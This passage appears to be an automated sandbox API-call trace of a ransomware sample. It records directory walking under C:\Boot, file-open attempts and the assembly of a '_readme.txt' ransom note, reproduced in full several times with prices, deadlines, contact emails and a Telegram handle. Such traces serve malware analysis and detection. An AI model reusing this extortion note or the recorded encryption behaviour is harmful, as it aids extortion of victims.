RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.955] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab958 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x498) returned 0x712110 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30772a0 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30772c8 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30772f0 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077318 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f30 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e90 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f58 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077340 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077070 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e68 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076da0 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cd8 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d28 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30774d0 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30774f8 [0266.955] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077520 [0266.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077548 [0266.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077570 [0266.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30818d0 [0266.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab878 [0266.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0266.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c38 | out: hHeap=0x640000) returned 1 [0266.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c60 | out: hHeap=0x640000) returned 1 [0266.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x640000) returned 1 [0266.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x640000) returned 1 [0266.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077020 | out: hHeap=0x640000) returned 1 [0266.956] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0266.956] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.956] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773e0 [0266.956] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.956] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.957] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076ff8 [0266.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.957] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0266.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fd0 [0266.957] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.957] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.957] PathFindFileNameW (pszPath="") returned="" [0266.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fd0 [0266.957] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.957] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.957] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.958] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0266.958] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076ff8 [0266.958] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.958] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0266.958] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.958] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0266.958] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0266.958] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.958] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.958] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.958] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0266.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.959] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.959] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.959] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.959] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.959] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.959] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0266.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.959] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0266.959] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081918 | out: hHeap=0x640000) returned 1 [0266.959] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.959] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0266.960] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0266.960] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.961] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.961] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.962] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076fa8 | out: hHeap=0x640000) returned 1 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.964] HeapFree (in: hHeap=0x640000, 